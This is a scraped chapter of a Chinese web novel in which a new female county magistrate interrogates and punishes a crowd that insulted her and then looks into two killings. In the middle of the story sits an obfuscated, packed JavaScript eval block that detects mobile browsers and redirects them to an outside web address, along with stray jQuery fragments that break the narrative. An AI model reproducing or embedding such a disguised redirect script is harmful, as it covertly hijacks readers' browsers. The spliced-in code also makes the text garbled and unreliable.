123读书网 > 玄幻小说 > 冤种夫君第五世还想上桌 > 22.主观臆断
    纪月笙站到仪门的台阶上,目光缓慢在人群中移动。


    她虽面容年轻,但眼里的威严却让人不敢直视。


    刚才骂得最凶的那几个,下意识地缩了缩脖子,垂下了脑袋。他们悄悄往后挪了挪脚步,想把自己藏在人群里。


    可这欲盖弥彰的小动作,反倒格外扎眼。


    李自在的目光落在那几个做贼心虚的人身上,他死死盯着他们看了好一会儿,才抬眼,望向纪月笙。


    而这一幕,纪月笙也看在眼里。


    李自在望过来时,她从他的眼里看到了坚定与服从,仿佛只要她一声令下,即便是刀山他也毫不犹豫地上。


    刚才她就特别留意李自在,此人不同于他人。


    在蓬莱,男尊女卑的思想根深蒂固。李自在是第一次见她,却对她的指令执行得干脆利落,没有一丝迟疑与敷衍。


    纪月笙心下断定,此人认可的是她身为县令的身份,这无关性别。


    若非公孙盛的人,那便值得重用。


    她收回思绪,对着李自在下令:“李自在,把那几个领头骂本官的揪出来,我指谁,你便把他押到我面前。”


    “是!”李自在朗声应道,声音洪亮,震得众人倒吸一口冷气。


    纪月笙抬手,指向人群中一对胳膊挽在一起的男女:“把他们带上来。”


    话音刚落,身后传来一阵脚步声。


    她转身,看见刚才临时退下的贺华快步走来,身后跟着四名衙役。两个衙役扛着一张厚重的长椅,两个手中各拎着一块上了漆的杖板。


    那对男女被李自在拎了出来。男人不停磕着头,女人则瘫在地上,嚎啕大哭:“县令大人饶命啊!草民一时糊涂,再也不敢了!”


    纪月笙居高临下看着他们,目光落在那男人身上,对贺华吩咐道:“先打男的。”


    “是!”贺华立刻摆手,示意衙役动手。


    两个衙役架起吓得脸色惨白的男人,拖到长椅上,另外两个则拿起麻绳,麻利地绕过他的四肢,紧紧绑在椅腿上。


    不一会儿,杖板便落在男人的屁股上,男人痛苦得不停哀嚎。


    纪月笙从仪门的台阶上走了下来,缓缓走到刚才对她扔白菜的男人跟前。


    刚走近,一股尿骚味扑面而来。她忍着这股臭味,蹲下身子,凝视着男人。


    男人见状,又开始没完没了地求饶。


    纪月笙心平气和地说:“本官见你诚心悔悟,斩刑免了,改为八十杖,你可认?”


    男人立刻对着她磕起了头:“认认认,草民认罪,谢谢县令大人饶草民一命。”


    众人见状,顿时炸开了锅,纷纷交头接耳,议论起来:


    “他都从斩首改成八十杖了,那我们是不是就不用挨板子了?”


    “对啊!大人都饶了他了,我们不过是跟着凑热闹,瞎说了两句。”


    纪月笙缓缓站起来,转过身面对着骚动的人群,目光扫过一张张带着侥幸的脸,声音提高了几分:“今日辱骂本官的,板子是挨定了!”


    喧闹的人群瞬间安静下来。


    众人面面相觑,脸上的侥幸变成了不满,又有人忍不住叽里呱啦地嚷嚷起来:


    “你都饶了他,为何不能饶了我们?”


    “是啊,凭什么啊?”


    看着众人那副理直气壮的样子,纪月笙哭笑不得。


    这些人仗着人多势众便肆意辱骂她这个朝廷命官,如今见有人被从轻发落,便理所当然的觉得自己也能,简直可笑至极。


    这时贺华上前一步,朗声道:“肃静!”


    众人闻言,陆陆续续闭上了嘴,只是看向纪月笙的眼神里,依旧带着不服气。


    纪月笙看着站在前头的几个刺头,缓缓开口:“他认罪态度好,所以本官对他宽容。而你们……本官让你们自行出来领罚,你们当中有谁主动站出来了?”


    众人被问得哑口无言。


    纪月笙继续道:“方才没有辱骂本官的,自行站出来。”


    话音落下,人群中先是一阵寂静,随后竟齐刷刷地往前走了几步,只剩下寥寥数人还站在原地。


    纪月笙看着后面没站出来的那几个人,对李自在说:“李自在,后面那几个,带过去,杖二十。”


    众人瞬间又炸开锅,嚷嚷起来:


    “凭什么?”


    “是啊,凭什么,他们都承认辱骂您了,凭什么给他们减三十个板子。”


    纪月笙板着脸,大声说道:“因为他们此刻坦诚!本官给了你们两次从轻发落的机会,奈何你们都没有抓住。”


    众人又一次哑口无言。沉寂片刻,眼见板子躲不掉,个个都撕破了脸,吵了起来,前面的一男一女吵得最狠:


    “钱三郎,你刚才骂得最狠,哪来的脸站出来?”


    “白牡丹,你个妇道人家,有你说话的份?”


    “妇道人家怎么了?妇道人家还当县令了呢?你厉害你也当一个去,连秀才都考不上玩意儿!”


    “你……你这个又胖又泼辣的……”


    见场面又失控了,贺华大声制止:“都闭嘴!再敢喧哗,杖责加十!”


    钱三郎和白牡丹一听到要加板子,纷纷闭上了嘴,却相互瞪着眼,满脸的不服气。


    纪月笙朗声道:“现在本官让谁出来,谁就出来接受问讯,其他人若有异议,便站出来当面对质。”


    说完她抬眼扫了一遍人群。最后,目光落在了白牡丹身上:“白牡丹,方才,你可有辱骂本官?”


    白牡丹立刻站出来回话:“草民没有辱骂您。”


    纪月笙追问:“那你来此作甚?”


    白牡丹连忙解释:“草民听闻新任县令是女子,很是好奇,便跟着来了,只是想看看您的风采。我邻家的妹妹,八岁时得贵人赏识,学了字画,能文能武。年纪轻轻便中了举,只身一人去京城参加春闱,还得了贡士出身。她可是我们蓬莱第一个女贡士。”


    说到这里,白牡丹的脸上满是骄傲,仿佛在说自己的亲人一般。顿了顿,继续道:“两年前,她从京城回来,同我讲了许多京城女子的趣事。我最喜欢的,便是她那个结拜姐姐的事迹。我寻思着您是从京城来的,风度肯定不凡,便来瞧瞧。”


    云临听着忍不住轻声笑了出来。


    白牡丹疑惑:“这位小哥,你笑什么?”


    云临反问:“你的这位邻家妹妹,是不是叫杜枝枝?”


    白牡丹惊讶道:“你怎么知道她的姓名?”


    云临望向纪月笙,眨了下眼。她心下了然,上前一步,声音放软了一些:“你这个邻家妹妹口中的姐姐,便是我。”


    “真的吗?”白牡丹瞪大了眼睛,脸上满是不可思议,随即捂住嘴,看着纪月笙的眼睛满是崇拜。


    众人亦惊讶,纷纷交头接耳,低声议论。


    纪月笙不理会众人的反应,她勾唇微笑,想问一些杜枝枝父母和女儿的近况。可嘴巴张了一半,突然反应过来这个时候问家长里短不妥,于是把到嘴边的话生生咽回了肚子里。


    她转过身,背对着人群,压低声音说道:“牡丹,你回家后,代我去向枝枝的父母问好。再替我传个话,就说我得空了再去拜访他们。”


    白牡丹轻声回答:“哎好咧~您正事要紧,我会将您的话一字不漏送到。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711860|187626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    纪月笙随即端起官架子,转过身面对众人:“白牡丹说她没有辱骂本官,你们谁有异议,站出来当面对质。”


    刚才跟白牡丹相互骂架的钱三郎站了出来,却说不过白牡丹。最后气急败坏,开始人身攻击。不仅嘲讽白牡丹的容貌,还阴阳她的身材。


    可笑的是人群中有几个女人,甚至也跟着数落白牡丹。


    一股怒火窜上纪月笙的心头。她想帮白牡丹骂回去,但身为县令,不能感情用事,免得被这帮人抓住错处,刚树立起来的威严,顷刻间便坍塌。


    此时身旁的贺华也听不下去了,大声呵斥那几个女人。


    她们闭了嘴,可脸上的表情满是不服。


    最后,纪月笙判定白牡丹没有参与辱骂,让其离开。可白牡丹并未立刻离开,而是站在远处看着纪月笙问讯。


    剩下的民众不到四十人,纪月笙挨个问讯。除了小孩,只有三个女人和四个男人没有辱骂她。其他人,或多或少都骂过。


    纪月笙边审边判。领头骂得最狠的,杖五十;煽风点火的,杖三十;跟风骂的,杖二十。


    审完所有人时,已是酉时正,等着领板子的人排了三列。


    纪月笙自然是没工夫看着衙役行刑,她把监督的任务交给了李自在。随后,又把民众闹事的后续事宜交代给主簿,便跟着贺华去了验尸房。


    检查完老县令和县尉的伤口后,纪月笙皱起眉头思索起来。


    杜枝枝曾跟她说过,叶安杀人有个习惯,前两刀只见血,不致命,从第三刀开始,便会刀刀致命。


    老县令和县尉的身上都只有一处刀伤,皆为一刀毙命。


    事情脉络变得模糊起来。


    纪月笙转身面对贺华,问了一些关于凶手的动作细节。同时也留意着他的神情变化。


    贺华思索了片刻,把自己目睹的情况一五一十地说了出来。他神情自然,这让纪月笙有些恍惚。


    她心下困惑,现在尚未确定贺华与公孙盛的关系,多余的推测她只能憋在肚子里。


    天色渐渐暗了下来,贺华提议先吃饭。


    纪月笙和云临纷纷点头,他们确实也饿坏了。


    于是贺华便领着他们去了后院。


    老县令半个月前就购置了宅院,家眷都已搬出去。这公廨的后院已经收拾得干干净净,只等纪月笙这个新县令入住。


    贺华安顿好纪月笙和云临后,便去安排晚膳。


    后院没有仆人和丫鬟,他们都随旧主离开了。


    此时院子里只剩云临和纪月笙,他们这才放心地聊起案子。


    云临分析道:“在来公廨的路上,贺华说过老县令不会武,县尉倒是有些身手。若凶手是叶安,他有可能为了尽快完成任务,不会自负地去划那多余的两刀。”


    “确实,但也不能肯定就是叶安,或许是仇杀。眼下并没有实质性的证据指向叶安,一切只不过是我们主观的猜测……”纪月笙说着,思索起来。


    从贺华的描述来推断,那凶手善用武器大概是刀类。


    目前没有实质性证据指向叶安。


    纪月笙想用排除法,她身边可信之人只有云临,于是便想到让他快马加鞭回京城,确认叶安此前的行踪。


    云临并不同意,怕她孤身一人遇到危险无人解救。


    她思索了许久,才又想到了一个办法:“李自在可用,但要先查清楚他是不是公孙盛的人。”


    话音刚落,贺华走进院子。


    二人对视一眼,云临抢先开口转移了话题。


    贺华看出了二人那神情里的不自然,但他没有戳穿,只是吩咐差役把饭菜摆上。